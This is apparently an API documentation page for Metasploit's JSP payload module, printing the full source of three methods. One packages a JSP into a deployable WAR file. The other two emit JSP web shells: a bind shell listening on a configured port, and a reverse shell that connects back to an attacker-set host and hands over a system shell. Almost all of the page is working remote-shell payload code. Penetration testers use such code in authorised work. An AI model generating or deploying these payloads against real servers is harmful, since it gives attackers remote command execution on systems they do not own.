Module: Msf::Payload::JSP

Defined in:
lib/msf/core/payload/jsp.rb

Instance Method Summary collapse

Instance Method Details

#generate_warRex::Zip::Jar

Wraps the jsp payload into a war

Returns:


131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
# File 'lib/msf/core/payload/jsp.rb', line 131

def generate_war
  jsp_name = "#{Rex::Text.rand_text_alpha_lower(rand(8)+8)}.jsp"

  zip = Rex::Zip::Jar.new

  web_xml = <<-EOF
<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<welcome-file-list>
  <welcome-file>#{jsp_name}</welcome-file>
</welcome-file-list>
</web-app>
  EOF

  zip.add_file("WEB-INF/", '')
  zip.add_file("WEB-INF/web.xml", web_xml)
  zip.add_file(jsp_name, generate)

  zip
end

#jsp_bind_tcpString

Outputs jsp that spawns a bind TCP shell

Returns:

  • (String)

    jsp code that executes bind TCP payload


8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# File 'lib/msf/core/payload/jsp.rb', line 8

def jsp_bind_tcp
  # Modified from: http://www.security.org.sg/code/jspreverse.html
  jsp = <<-EOS
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
class StreamConnector extends Thread
{
  InputStream is;
  OutputStream os;

  StreamConnector( InputStream is, OutputStream os )
  {
    this.is = is;
    this.os = os;
  }

  public void run()
  {
    BufferedReader in  = null;
    BufferedWriter out = null;
    try
    {
      in  = new BufferedReader( new InputStreamReader( this.is ) );
      out = new BufferedWriter( new OutputStreamWriter( this.os ) );
      char buffer[] = new char[8192];
      int length;
      while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
      {
        out.write( buffer, 0, length );
        out.flush();
      }
    } catch( Exception e ){}
    try
    {
      if( in != null )
        in.close();
      if( out != null )
        out.close();
    } catch( Exception e ){}
  }
}

try
{
  ServerSocket server_socket = new ServerSocket( #{datastore['LPORT'].to_s} );
  Socket client_socket = server_socket.accept();
  server_socket.close();
  Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" );
  ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start();
  ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
  EOS

  return jsp
end

#jsp_reverse_tcpString

Outputs jsp code that spawns a reverse TCP shell

Returns:

  • (String)

    jsp code that executes reverse TCP payload


71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
# File 'lib/msf/core/payload/jsp.rb', line 71

def jsp_reverse_tcp
  # JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
  jsp = <<-EOS
<%@page import="java.lang.*"%>
<%@page import="java.util.*"%>
<%@page import="java.io.*"%>
<%@page import="java.net.*"%>

<%
class StreamConnector extends Thread
{
  InputStream is;
  OutputStream os;

  StreamConnector( InputStream is, OutputStream os )
  {
    this.is = is;
    this.os = os;
  }

  public void run()
  {
    BufferedReader in  = null;
    BufferedWriter out = null;
    try
    {
      in  = new BufferedReader( new InputStreamReader( this.is ) );
      out = new BufferedWriter( new OutputStreamWriter( this.os ) );
      char buffer[] = new char[8192];
      int length;
      while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
      {
        out.write( buffer, 0, length );
        out.flush();
      }
    } catch( Exception e ){}
    try
    {
      if( in != null )
        in.close();
      if( out != null )
        out.close();
    } catch( Exception e ){}
  }
}

try
{
  Socket socket = new Socket( "#{datastore['LHOST']}", #{datastore['LPORT'].to_s} );
  Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" );
  ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
  ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
} catch( Exception e ) {}
%>
  EOS
  return jsp
end